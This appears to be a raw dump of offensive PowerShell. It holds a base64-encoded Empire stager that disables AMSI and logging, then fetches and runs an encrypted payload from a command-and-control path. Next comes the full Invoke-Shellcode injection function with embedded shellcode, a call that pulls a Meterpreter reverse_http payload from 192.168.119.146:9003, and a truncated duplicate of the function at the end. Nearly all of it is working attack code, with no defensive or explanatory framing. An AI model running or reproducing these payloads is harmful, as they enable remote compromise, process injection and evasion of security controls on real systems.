New Empire!
powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8ATgBUAEEAQgBMAGUALgBQAFMAVgBFAFIAcwBpAE8AbgAuAE0AQQBqAE8AcgAgAC0ARwBFACAAMwApAHsAJABSAGUAZgA9AFsAUgBFAGYAXQAuAEEAUwBzAGUAbQBCAGwAWQAuAEcAZQB0AFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIARQBmAC4ARwBlAHQARgBpAEUATABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgAnACsAJwBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAVABWAGEATAB1AEUAKAAkAE4AdQBsAGwALAAkAFQAUgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgAiAEcAZQB0AEYAaQBlAGAAbABkACIAKAAnAG0AXwBlACcAKwAnAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuACcAKwAnAFAAdQBiAGwAaQBjACwAJwArACcASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQAnACsAJwBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAJwArACcAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgAiAEcAZQB0AEYAaQBlAGAAbABkACIAKAAnAGUAdAAnACsAJwB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgAnACsAJwBsAGkAYwAsAFMAJwArACcAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AHMAdABFAG0ALgBOAGUAdAAuAFMAZQBSAHYASQBDAGUAUABvAEkATgB0AE0AQQBOAGEARwBFAHIAXQA6ADoARQB4AHAARQBjAHQAMQAwADAAQwBPAE4AdABpAG4AdQBFAD0AMAA7ACQANQA3ADkAMwA9AE4ARQB3AC0ATwBiAGoARQBDAFQAIABTAHkAUwB0AGUAbQAuAE4ARQB0AC4AVwBlAGIAQwBMAEkAZQBOAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABzAGUAcgA9ACQAKABbAFQARQBYAHQALgBFAE4AYwBPAGQASQBuAGcAXQA6ADoAVQBuAEkAQwBvAEQARQAuAEcAZQB0AFMAdAByAGkATgBnACgAWwBDAE8ATgB2AEUAUgBUAF0AOgA6AEYAcgBvAG0AQgBhAFMAZQA2ADQAUwBUAFIASQBOAGcAKAAnAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AZwBBAHUAQQBEAEUAQQBOAGcAQQA0AEEAQwA0AEEATQBRAEEAeABBAEQAawBBAEwAZwBBAHgAQQBEAFEAQQBOAGcAQQA2AEEARABrAEEATQBBAEEAdwBBAEQAUQBBACcAKQApACkAOwAkAHQAPQAnAC8AYQBkAG0AaQBuAC8AZwBlAHQALgBwAGgAcAAnADsAJAA1ADcAOQAzAC4ASABFAEEARABFAHIAUwAuAEEARABEACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQANQA3ADkAMwAuAFAAcgBPAHgAWQA9AFsAUwBZAHMAdABFAE0ALgBOAGUAdAAuAFcAZQBCAFIAZQBRAFUAZQBzAFQAXQA6ADoARABFAGYAQQB1AGwAdABXAGUAQgBQAFIATwBYAFkAOwAkADUANwA5ADMALgBQAHIAbwB4AFkALgBDAHIARQBkAEUATgB0AGkAYQBsAHMAIAA9ACAAWwBTAFkAcwB0AGUATQAuAE4AZQB0AC4AQwBSAEUARABFAE4AVABJAEEAbABDAGEAQwBoAGUAXQA6ADoARABFAGYAYQBVAEwAdABOAEUAVAB3AG8AcgBrAEMAUgBlAEQAZQBOAHQAaQBhAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAA1ADcAOQAzAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AGUATQAuAFQARQBYAFQALgBFAE4AYwBPAGQASQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgBZAFQARQBTACgAJwBbAEoARABfADsAeABnAEYAdgBQAGsANQA6AGoAMgAmAG8ALwA8ACwAUwBaACsAaABDAD0AcwA/AEwAQAAoACUAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAUgBHAFMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AVQBOAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AQgBYAG8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAA1ADcAOQAzAC4ASABlAEEARABlAFIAcwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgB4AHAAdQBvAFkAaAByAGgAPQA0ACsAegB1AGkAZgAwAGgAdQBSAFYARQBrAHIASwBYAGsASwA1AEUAWAB3AHYARwBhAFMAOAA9ACIAKQA7ACQAZABhAFQAQQA9ACQANQA3ADkAMwAuAEQAbwBXAE4ATABvAEEARABEAEEAVABBACgAJABzAGUAUgArACQAdAApADsAJABJAHYAPQAkAEQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAEQAYQBUAEEAPQAkAEQAQQBUAGEAWwA0AC4ALgAkAEQAYQBUAEEALgBsAGUAbgBnAHQASABdADsALQBqAE8ASQBuAFsAQwBoAEEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
function Invoke-Shellcode
{
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = 'RunLocal' )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateSet( 'windows/meterpreter/reverse_http',
'windows/meterpreter/reverse_https',
IgnoreCase = $True )]
[String]
$Payload = 'windows/meterpreter/reverse_http',
[Parameter( ParameterSetName = 'ListPayloads' )]
[Switch]
$ListMetasploitPayloads,
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateNotNullOrEmpty()]
[String]
$Lhost = '127.0.0.1',
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateRange( 1,65535 )]
[Int]
$Lport = 8443,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[String]
$UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent',
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[Switch]
$Legacy = $False,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[Switch]
$Proxy = $False,
[Switch]
$Force = $False
)
Set-StrictMode -Version 2.0
if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
{
$AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
foreach ($Payload in $AvailablePayloads.ValidValues)
{
New-Object PSObject -Property @{ Payloads = $Payload }
}
Return
}
if ( $PSBoundParameters['ProcessID'] )
{
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
{
$IntSizePtr = $Architecture / 8
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
{
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL RAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL RAX
}
else
{
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL EAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL EAX
}
Write-Output $CallStub
}
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
{
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
Throw "Unable to open a process handle for PID: $ProcessID"
}
$IsWow64 = $false
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
{
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
}
else # 64-bit process
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
}
$Shellcode = $Shellcode64
}
}
else # 32-bit CPU
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
}
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($IsWow64)
{
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
}
else
{
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
}
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch remote thread in PID: $ProcessID"
}
$CloseHandle.Invoke($hProcess) | Out-Null
}
function Local:Inject-LocalShellcode
{
if ($PowerShell32bit) {
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
return
}
$Shellcode = $Shellcode32
}
else
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
return
}
$Shellcode = $Shellcode64
}
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
}
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw "Unable to allocate thread call stub."
}
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch thread."
}
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
}
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr)
{
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$64bitCPU = $true
}
else
{
$64bitCPU = $false
}
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
{
if (!$PowerShell32bit) {
$RootInvocation = $MyInvocation.Line
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
"Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
if ( !$Response )
{
Return
}
if ($MyInvocation.BoundParameters['Force'])
{
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
}
else
{
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
}
$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
$EncodedCommand = [Convert]::ToBase64String($CommandBytes)
$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
Invoke-Expression -Command $Execute | Out-Null
Return
}
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
if ( !$Response )
{
Return
}
switch ($Payload)
{
'windows/meterpreter/reverse_http'
{
$SSL = ''
}
'windows/meterpreter/reverse_https'
{
$SSL = 's'
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True}
}
}
if ($Legacy)
{
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
} else {
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_}
$SumTest = $False
while ($SumTest -eq $False)
{
$GeneratedUri = $CharArray | Get-Random -Count 4
$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
}
$RequestUri = -join $GeneratedUri
$Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)"
}
$Uri = New-Object Uri($Request)
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add('user-agent', "$UserAgent")
if ($Proxy)
{
$WebProxyObject = New-Object System.Net.WebProxy
$ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer
if ($ProxyAddress)
{
$WebProxyObject.Address = $ProxyAddress
$WebProxyObject.UseDefaultCredentials = $True
$WebClientObject.Proxy = $WebProxyObject
}
}
try
{
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
}
catch
{
Throw "$($Error[0])"
}
[Byte[]] $Shellcode64 = $Shellcode32
}
elseif ($PSBoundParameters['Shellcode'])
{
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
}
else
{
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
0x61,0x6c,0x63,0x00)
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}
if ( $PSBoundParameters['ProcessID'] )
{
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
Inject-RemoteShellcode $ProcessId
}
}
else
{
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode into the running PowerShell process!" ) )
{
Inject-LocalShellcode
}
}
}
Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.119.146 -Lport 9003 -Forcefunction Invoke-Shellcode
{
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = 'RunLocal' )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateSet( 'windows/meterpreter/reverse_http',
'windows/meterpreter/reverse_https',
IgnoreCase = $True )]
[String]
$Payload = 'windows/meterpreter/reverse_http',
[Parameter( ParameterSetName = 'ListPayloads' )]
[Switch]
$ListMetasploitPayloads,
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateNotNullOrEmpty()]
[String]
$Lhost = '127.0.0.1',
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateRange( 1,65535 )]
[Int]
$Lport = 8443,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[String]
$UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent',
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[Switch]
$Legacy = $False,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[Switch]
$Proxy = $False,
[Switch]
$Force = $False
)
Set-StrictMode -Version 2.0
if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
{
$AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
foreach ($Payload in $AvailablePayloads.ValidValues)
{
